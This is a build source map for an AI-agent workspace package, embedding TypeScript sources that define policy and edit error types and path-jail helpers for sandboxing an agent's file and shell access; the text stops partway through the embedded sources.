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"}
|
|
1
|
+
{"version":3,"file":"index.cjs","names":["AIError","path","path","constants","path","unsupported","path","canonicalize","path","realpath","fs","fs","path","path","fs","path","platform","spawn","fs","lstat","realpath","StringDecoder","DEFAULT_NAME","inputSchema","tool","DEFAULT_NAME","inputSchema","tool","tool","tool","DEFAULT_NAME","inputSchema","tool","DEFAULT_NAME","inputSchema","tool","DEFAULT_NAME","inputSchema","tool","tool","tool","DEFAULT_NAME","inputSchema","tool","DEFAULT_NAME","inputSchema","tool","tool","tool","path"],"sources":["../../../../../../../packages/ai-workspace/src/errors.ts","../../../../../../../packages/ai-workspace/src/policy/jail.ts","../../../../../../../packages/ai-workspace/src/output/spill-dir.ts","../../../../../../../packages/ai-workspace/src/policy/powershell-aliases.ts","../../../../../../../packages/ai-workspace/src/policy/shell-interpreter.ts","../../../../../../../packages/ai-workspace/src/policy/powershell-parser.ts","../../../../../../../packages/ai-workspace/src/policy/shell-parser.ts","../../../../../../../packages/ai-workspace/src/policy/tokenize-command.ts","../../../../../../../packages/ai-workspace/src/policy/shell-check.ts","../../../../../../../packages/ai-workspace/src/policy/policy.ts","../../../../../../../packages/ai-workspace/src/patch/apply-hunks.ts","../../../../../../../packages/ai-workspace/src/patch/parse-patch.ts","../../../../../../../packages/ai-workspace/src/patch/execute-patch.ts","../../../../../../../packages/ai-workspace/src/patch/apply-patch-generic.ts","../../../../../../../packages/ai-workspace/src/edit/match.ts","../../../../../../../packages/ai-workspace/src/edit/apply-replacement.ts","../../../../../../../packages/ai-workspace/src/hooks/after-edit.ts","../../../../../../../packages/ai-workspace/src/output/spill.ts","../../../../../../../packages/ai-workspace/src/policy/approval-helpers.ts","../../../../../../../packages/ai-workspace/src/shell-jobs.ts","../../../../../../../packages/ai-workspace/src/ops.ts","../../../../../../../packages/ai-workspace/src/backends/local.ts","../../../../../../../packages/ai-workspace/src/backends/mock.ts","../../../../../../../packages/ai-workspace/src/tools/json-schemas.ts","../../../../../../../packages/ai-workspace/src/tools/schema.ts","../../../../../../../packages/ai-workspace/src/tools/apply-patch.ts","../../../../../../../packages/ai-workspace/src/tools/edit-file.ts","../../../../../../../packages/ai-workspace/src/tools/glob.ts","../../../../../../../packages/ai-workspace/src/tools/grep.ts","../../../../../../../packages/ai-workspace/src/tools/list-dir.ts","../../../../../../../packages/ai-workspace/src/tools/multi-edit.ts","../../../../../../../packages/ai-workspace/src/tools/read-file.ts","../../../../../../../packages/ai-workspace/src/tools/run-shell.ts","../../../../../../../packages/ai-workspace/src/tools/run-tests.ts","../../../../../../../packages/ai-workspace/src/tools/shell-kill.ts","../../../../../../../packages/ai-workspace/src/tools/shell-output.ts","../../../../../../../packages/ai-workspace/src/todos.ts","../../../../../../../packages/ai-workspace/src/tools/todo.ts","../../../../../../../packages/ai-workspace/src/tools/write-file.ts","../../../../../../../packages/ai-workspace/src/workspace.ts"],"sourcesContent":["import { AIError, type AIErrorOptions } from \"@warlock.js/ai\";\n\n/**\n * Why a workspace policy check rejected an operation.\n *\n * - `\"path-escape\"` — a resolved path fell outside the `cwd` jail (or an\n * `allowPaths` root), or matched a `denyPaths` glob.\n * - `\"denied-command\"` — the shell policy refused a command line (`reason`\n * says why: an executable outside `shell.allow` or inside `shell.deny`, a\n * metacharacter in argv mode, a redirection outside the jail in shell\n * mode, …), or a mutating method was called on a read-only projection.\n * - `\"unsafe-pattern\"` — a `grep` pattern was too long or matched a\n * catastrophic-backtracking shape (nested quantifiers) that could hang\n * the process (ReDoS).\n */\nexport type WorkspacePolicyViolation = \"path-escape\" | \"denied-command\" | \"unsafe-pattern\";\n\n/**\n * Why the shell policy refused a command. Set on every\n * {@link WorkspacePolicyError} of type `\"denied-command\"` raised for a\n * command line, so a host can phrase the refusal itself instead of parsing\n * the message.\n *\n * - `\"metacharacter\"` — argv mode (the default `interpreter: \"none\"`) met an\n * unquoted shell operator (`&&`, `;`, `|`, `>`, `$`, backticks, …). The\n * message suggests how to split the line into separate commands.\n * - `\"unbalanced-quotes\"` — a quote is never closed.\n * - `\"denied-executable\"` — a command's executable is listed in `shell.deny`.\n * - `\"not-allowed\"` — a command's executable is not in `shell.allow`, the\n * `shell.allowCommand` hook refused it, the workspace has no shell policy,\n * the line is empty, or background commands are not enabled.\n * - `\"denied-pattern\"` — a command matched one of `shell.denyPatterns`.\n * - `\"nested-command\"` — a command runs another command the policy cannot\n * inspect (`bash -c …`, `eval`, `xargs`, `sudo`, a wrapper with options the\n * policy cannot read), while the policy has deny rules it would bypass.\n * - `\"unsupported-syntax\"` — shell mode (`interpreter: \"sh\"`) met syntax the\n * policy does not parse with confidence (compound commands, arithmetic,\n * brace expansion, background `&`, a command name decided at run time, …),\n * so the line is refused rather than guessed at.\n * - `\"path-escape\"` — shell mode: a redirection target or `cd` directory\n * resolves outside the workspace jail or hits `denyPaths`.\n * - `\"approval-required\"` — a command matches an `ask` rule in\n * `shell.rules` and the policy has no `shell.onAsk` to decide on it.\n * - `\"approval-denied\"` — `shell.onAsk` refused the command (or threw).\n */\nexport type WorkspaceShellRefusalReason =\n | \"metacharacter\"\n | \"unbalanced-quotes\"\n | \"denied-executable\"\n | \"not-allowed\"\n | \"denied-pattern\"\n | \"nested-command\"\n | \"unsupported-syntax\"\n | \"path-escape\"\n | \"approval-required\"\n | \"approval-denied\";\n\n/**\n * Options for {@link WorkspacePolicyError} — the structured `type`\n * discriminator plus, where relevant, the offending path or command for\n * branchable diagnostics without parsing the message.\n */\nexport type WorkspacePolicyErrorOptions = AIErrorOptions & {\n /** Which policy rule was violated. */\n type: WorkspacePolicyViolation;\n /** The offending workspace-relative path (for `\"path-escape\"`). */\n path?: string;\n /** The offending command line (for `\"denied-command\"`). */\n command?: string;\n /** The offending regex pattern (for `\"unsafe-pattern\"`). */\n pattern?: string;\n /** Why the shell policy refused the command (for `\"denied-command\"`). */\n reason?: WorkspaceShellRefusalReason;\n /** The executable the refusal is about, when there is one. */\n executable?: string;\n};\n\n/**\n * The workspace policy engine refused an operation — a path escaped the\n * jail (or hit a deny glob), or a shell command's executable was not\n * allowed.\n *\n * **Surface.** This is returned to the agent as tool-error *data*, never\n * a thrown run-killer — the agent reads the failure and self-corrects.\n * Extends the framework `AIError` (category `\"tool\"`, code\n * `TOOL_EXEC_FAILED`) so it flows through the same typed error contract\n * as every other AI error; branch on `error.type` for the specific\n * violation.\n *\n * @example\n * if (error instanceof WorkspacePolicyError && error.type === \"denied-command\") {\n * console.warn(`Blocked command: ${error.command}`);\n * }\n */\nexport class WorkspacePolicyError extends AIError {\n /** Which policy rule was violated. */\n public readonly type: WorkspacePolicyViolation;\n /** The offending path, when the violation was a path escape. */\n public readonly path?: string;\n /** The offending command, when the violation was a denied command. */\n public readonly command?: string;\n /** The offending regex pattern, when the violation was `\"unsafe-pattern\"`. */\n public readonly pattern?: string;\n /**\n * Why the shell policy refused a command line — set on every\n * `\"denied-command\"` refusal of a command (see\n * {@link WorkspaceShellRefusalReason}).\n */\n public readonly reason?: WorkspaceShellRefusalReason;\n /** The executable the shell refusal is about, when there is one. */\n public readonly executable?: string;\n\n public constructor(message: string, options: WorkspacePolicyErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspacePolicyError\";\n this.type = options.type;\n this.path = options.path;\n this.command = options.command;\n this.pattern = options.pattern;\n this.reason = options.reason;\n this.executable = options.executable;\n }\n}\n\n/**\n * Why an edit was rejected.\n *\n * - `\"not-found\"` — the `oldString` did not appear in the file.\n * - `\"not-unique\"` — `oldString` matched more than once and `replaceAll`\n * was not set, so the edit is ambiguous.\n * - `\"stale-hash\"` — the file's current hash did not match the supplied\n * `expectHash`; the file changed since it was read.\n * - `\"patch-invalid\"` — `applyPatch` was given text that is not a usable\n * unified diff (or one that is too large).\n * - `\"hunk-failed\"` — a patch hunk's context is not in the file; `hunkIndex`\n * names it.\n * - `\"binary-file\"` — the patch, or a file it touches, is binary.\n * - `\"file-exists\"` — the patch creates (or renames onto) a path that\n * already exists.\n * - `\"file-missing\"` — the patch modifies, renames or deletes a path that\n * does not exist.\n */\nexport type WorkspaceEditFailure =\n | \"not-found\"\n | \"not-unique\"\n | \"stale-hash\"\n | \"patch-invalid\"\n | \"hunk-failed\"\n | \"binary-file\"\n | \"file-exists\"\n | \"file-missing\";\n\n/**\n * Options for {@link WorkspaceEditError} — the structured `type`\n * discriminator plus optional match-count / hash context for the\n * `\"not-unique\"` and `\"stale-hash\"` cases.\n */\nexport type WorkspaceEditErrorOptions = AIErrorOptions & {\n /** Why the edit was rejected. */\n type: WorkspaceEditFailure;\n /** The edited file's workspace-relative path. */\n path: string;\n /** How many times `oldString` matched (for `\"not-unique\"`). */\n matches?: number;\n /** The hash the caller expected (for `\"stale-hash\"`). */\n expectedHash?: string;\n /** The file's actual current hash (for `\"stale-hash\"`). */\n actualHash?: string;\n /** 0-based index of the failing edit, for a `multiEdit` rejection. */\n editIndex?: number;\n /** For `\"not-found\"`: the nearby file text, or a note that `newString` is already present. */\n hint?: string;\n /** 0-based index of the hunk that failed, for an `applyPatch` rejection. */\n hunkIndex?: number;\n};\n\n/**\n * An `editFile` operation was rejected by the read-before-edit guard:\n * the `oldString` was absent, matched non-uniquely without `replaceAll`,\n * or the file's hash no longer matched the supplied `expectHash`.\n *\n * **Surface.** Like {@link WorkspacePolicyError}, returned to the agent\n * as tool-error *data* so it can re-read and retry. Extends `AIError`\n * (category `\"tool\"`, code `TOOL_EXEC_FAILED`); branch on `error.type`.\n *\n * @example\n * if (error instanceof WorkspaceEditError && error.type === \"stale-hash\") {\n * // re-read the file and retry the edit with the fresh hash\n * }\n */\nexport class WorkspaceEditError extends AIError {\n /** Why the edit was rejected. */\n public readonly type: WorkspaceEditFailure;\n /** The edited file's workspace-relative path. */\n public readonly path: string;\n /** How many times `oldString` matched, for the `\"not-unique\"` case. */\n public readonly matches?: number;\n /** The hash the caller expected, for the `\"stale-hash\"` case. */\n public readonly expectedHash?: string;\n /** The file's actual current hash, for the `\"stale-hash\"` case. */\n public readonly actualHash?: string;\n /**\n * For a `multiEdit` rejection, the 0-based index of the edit that failed.\n * Nothing was written: a multi-edit applies all of its edits or none.\n */\n public readonly editIndex?: number;\n /**\n * For a `\"not-found\"` rejection, the file text closest to `oldString` (at\n * most 12 lines of 200 characters) or a note that `newString` is already\n * present. Absent when nothing is close.\n */\n public readonly hint?: string;\n /**\n * For an `applyPatch` rejection, the 0-based index of the hunk that failed\n * within its file. Nothing was written.\n */\n public readonly hunkIndex?: number;\n\n public constructor(message: string, options: WorkspaceEditErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspaceEditError\";\n this.type = options.type;\n this.path = options.path;\n this.matches = options.matches;\n this.expectedHash = options.expectedHash;\n this.actualHash = options.actualHash;\n this.editIndex = options.editIndex;\n this.hint = options.hint;\n this.hunkIndex = options.hunkIndex;\n }\n}\n\n/**\n * Why a background-command operation failed.\n *\n * - `\"not-found\"` — no background command with that id exists in this\n * workspace (it never existed, or it finished long enough ago to be\n * pruned).\n */\nexport type WorkspaceJobFailure = \"not-found\";\n\n/** Options for {@link WorkspaceJobError}. */\nexport type WorkspaceJobErrorOptions = AIErrorOptions & {\n /** Why the operation failed. */\n type: WorkspaceJobFailure;\n /** The background command id the caller asked for. */\n jobId: string;\n};\n\n/**\n * A `shell_output` / `shell_kill` call (or `shellOutput()` / `shellKill()`)\n * named a background command this workspace does not know. Returned to the\n * agent as tool-error data like the other workspace errors.\n *\n * @example\n * if (error instanceof WorkspaceJobError && error.type === \"not-found\") {\n * console.warn(`No background command ${error.jobId}`);\n * }\n */\nexport class WorkspaceJobError extends AIError {\n /** Why the operation failed. */\n public readonly type: WorkspaceJobFailure;\n /** The background command id the caller asked for. */\n public readonly jobId: string;\n\n public constructor(message: string, options: WorkspaceJobErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspaceJobError\";\n this.type = options.type;\n this.jobId = options.jobId;\n }\n}\n","import path from \"node:path\";\nimport type { WorkspacePolicy } from \"../contracts\";\n\n/**\n * Whether `child` is contained within `root` (or equals it), comparing\n * absolute paths. Guards against the `/srv/app-evil` vs `/srv/app`\n * prefix-collision by comparing path segments, not string prefixes.\n */\nexport function isInside(child: string, root: string): boolean {\n const relative = path.relative(root, child);\n\n return relative === \"\" || (!relative.startsWith(\"..\") && !path.isAbsolute(relative));\n}\n\n/**\n * Translate a glob (the small subset used by `denyPaths` and\n * `list.ignore` — `*`, `**`, `?`) into an anchored `RegExp` over a\n * `/`-separated relative path. `**` spans path separators; a single `*`\n * does not.\n */\nexport function globToRegExp(glob: string): RegExp {\n let source = \"\";\n\n for (let index = 0; index < glob.length; index++) {\n const char = glob.charAt(index);\n\n if (char === \"*\") {\n if (glob.charAt(index + 1) === \"*\") {\n // `**` — match across segments (and an optional trailing slash).\n source += \".*\";\n index++;\n\n if (glob.charAt(index + 1) === \"/\") {\n index++;\n }\n } else {\n // `*` — match within a single segment.\n source += \"[^/]*\";\n }\n\n continue;\n }\n\n if (char === \"?\") {\n source += \"[^/]\";\n\n continue;\n }\n\n // Escape everything else so it matches literally.\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\n }\n\n return new RegExp(`^${source}$`);\n}\n\n/**\n * Whether a workspace-relative (`/`-separated) path matches any of the\n * globs. A glob also covers everything beneath a matched directory\n * (`\".git/**\"` covers `.git/config`), and a bare name without wildcards\n * (`\".git\"`, `\"node_modules\"`) covers its contents.\n */\nexport function matchesAnyGlob(relativePath: string, globs: readonly string[]): boolean {\n return globs.some((glob) => {\n if (globToRegExp(glob).test(relativePath)) {\n return true;\n }\n\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\n\n return relativePath.startsWith(prefix);\n }\n\n return false;\n });\n}\n\n/**\n * The jail check without touching the filesystem: is the absolute path\n * `target` (already resolved lexically) inside `cwd` and off every\n * `denyPaths` glob, or inside an `allowPaths` root? Symlinks are NOT\n * resolved here — the shell policy uses it to refuse obvious escapes\n * synchronously, and `exec` re-checks every path with `resolveInJail`.\n */\nexport function isInsideJailLexically(policy: WorkspacePolicy, target: string): boolean {\n const root = path.resolve(policy.cwd);\n\n if (isInside(target, root)) {\n const relative = path.relative(root, target).split(path.sep).join(\"/\");\n\n return !(\n policy.denyPaths &&\n policy.denyPaths.length > 0 &&\n matchesAnyGlob(relative, policy.denyPaths)\n );\n }\n\n return (policy.allowPaths ?? []).some((allowRoot) => isInside(target, path.resolve(allowRoot)));\n}\n","import path from \"node:path\";\nimport type { WorkspacePolicy } from \"../contracts\";\n\n/**\n * The absolute directory spill files go to, or `undefined` when the policy\n * has no `output.spillDir` (spilling is off).\n */\nexport function resolveSpillDir(policy: WorkspacePolicy): string | undefined {\n const dir = policy.output?.spillDir;\n\n return dir === undefined ? undefined : path.resolve(policy.cwd, dir);\n}\n","import type { ShellWord } from 